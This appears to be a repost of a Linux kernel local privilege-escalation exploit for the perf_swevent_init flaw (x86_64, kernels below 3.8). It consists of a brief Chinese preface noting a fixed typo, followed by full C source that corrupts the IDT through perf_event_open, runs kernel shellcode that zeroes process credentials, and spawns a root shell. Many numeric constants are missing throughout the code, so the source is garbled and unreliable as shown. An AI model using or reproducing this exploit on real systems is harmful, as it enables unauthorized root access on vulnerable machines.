Linux kernel perf_swevent_init Local root Exploit

64位上编译

另外修改了原Exploit的一个错误

第76行
把     uint64_t *p = (void *) ¤t[i];
改成       uint64_t *p = (void *) &current[i];

*
* CVE-- exploit x86_64 Linux < 3.8.
* by sorbo (sorbo@darkircop.org) June
*
* Based on sd's exploit.  Supports more targets.
*
*/

#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h>

#define BASE        0x380000000
#define BASE_JUMP   0x1780000000
#define SIZE        0x10000000
#define KSIZE       0x2000000

#define TMP(x) (0xdeadbeef + (x))

struct idt {
    uint16_t limit;
    uint64_t addr;
} __attribute__((packed));

static int _fd;

static int perf_open(uint64_t off)
{
    struct perf_event_attr attr;
    int rc;

//  printf("perf open %lx [%d]\n", off, (int) off);

    memset(&attr, , sizeof(attr));

    attr.type           = PERF_TYPE_SOFTWARE;
    attr.size           = sizeof(attr);
    attr.config         = off;
    attr.mmap           = ;
    attr.comm           = ;
    attr.exclude_kernel = ;

    rc = syscall(SYS_perf_event_open, &attr, , -, -, );

    return rc;
}

void __sc_start(void);
void __sc_next(void);

void __sc(void)
{
    asm("__sc_start:\n"
        "call __sc_next\n"
        "iretq\n"
        "__sc_next:\n");
}

void sc(void)
{
    int i, j;
    uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-));
    uint64_t kbase = ((uint64_t)current) >> ;
    int uid = TMP();
    int gid = TMP();

    for (i = ; i < ; i += ) {
        uint64_t *p = (void *) &current[i];
        uint32_t *cred = (uint32_t*) p[];

        if ((p[] != p[]) || ((p[]>>) != kbase))
            continue;

        for (j = ; j < ; j++) {
            if (cred[j] == uid && cred[j + ] == gid) {
                for (i = ; i < ; i++) {
                    cred[j + i] = ;
                    return;
                }
            }
        }
    }
}

static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
    void *p;

    p = memmem(sc, , &needle, sizeof(needle));
    if (!p)
        errx(, "can't find %x", needle);

    memcpy(p, &val, sizeof(val));
}

static void *map_mem(uint64_t addr)
{
    void *p;

    p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
         MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -, );

    if (p == MAP_FAILED)
        err(, "mmap()");

    return p;
}

static int find_mem(void *mem, uint8_t c)
{
    int i;
    uint8_t *p = mem;

    for (i = ; i < SIZE; i++) {
        if (p == c)
            return i;
    }

    return -;
}

static void dropshell()
{
    if (setuid() != )
        errx(, "failed");

    printf("Launching shell\n");

    execl("/bin/sh", "sh", NULL);
    exit();
}

void morte(int x)
{
    printf("Got signal\n");
    close(_fd);
    dropshell();
}

static void trigger(int intr)
{
    switch (intr) {
    case :
        do {
            int z = ;
            int a = ;

            z--;

            a /= z;
        } while ();
        break;

    case :
        asm("int $4");
        break;

    case 0x80:
        asm("int $0x80");
        break;

    default:
        errx(, "unknown intr %d", intr);
    }

    sleep();
}

int main(int argc, char *argv[])
{
    uint32_t *p[];
    int fd, i;
    uint64_t off;
    uint64_t addr = BASE;
    struct idt idt;
    uint8_t *kbase;
    int sz = ;
    int intr = ;

    printf("Searchin...\n");

    p[] = map_mem(BASE);
    p[] = map_mem(BASE_JUMP);

    memset(p[], 0x69, SIZE);

    off = 0xFFFFFFFFL;
    fd = perf_open(off);
    close(fd);

    i = find_mem(p[], 0xff);
    if (i == -) {
        i = find_mem(p[], 0x68);

        if (i == -)
            errx(, "Can't find overwrite");

        sz = ;
        addr = BASE_JUMP;
        printf("detected CONFIG_JUMP_LABEL\n");
    }

    munmap(p[], SIZE);
    munmap(p[], SIZE);

    addr += i;
    addr -= off * sz;

    printf("perf_swevent_enabled is at 0x%lx\n", addr);

    asm("sidt %0" : "=m" (idt));

    printf("IDT at 0x%lx\n", idt.addr);

    off = addr - idt.addr;
    off -= ;

    switch (off % sz) {
    case :
        intr = ;
        break;

    case :
        intr = 0x80;
        break;

    case :
        intr = ;
        break;

    default:
        errx(, "remainder %d", off % sz);
    }

    printf("Using interrupt %d\n", intr);

    off -=  * intr;

    assert((off % sz) == );

    off /= sz;
    off = -off;

//  printf("Offset %lx\n", off);

    kbase = (uint8_t*) (idt.addr & 0xFF000000);

    printf("Shellcode at %p\n", kbase);

    if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
         MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -, ) == MAP_FAILED)
        err(, "mmap()");

    memset(kbase, 0x90, KSIZE);
    kbase += KSIZE - ;

    i = __sc_next - __sc_start;
    memcpy(kbase, __sc_start, i);
    kbase += i;
    memcpy(kbase, sc, );

    sc_replace(kbase, TMP(), getuid());
    sc_replace(kbase, TMP(), getgid());

    signal(SIGALRM, morte);
    alarm();

    printf("Triggering sploit\n");
    _fd = perf_open(off);

    trigger(intr);

    exit();
}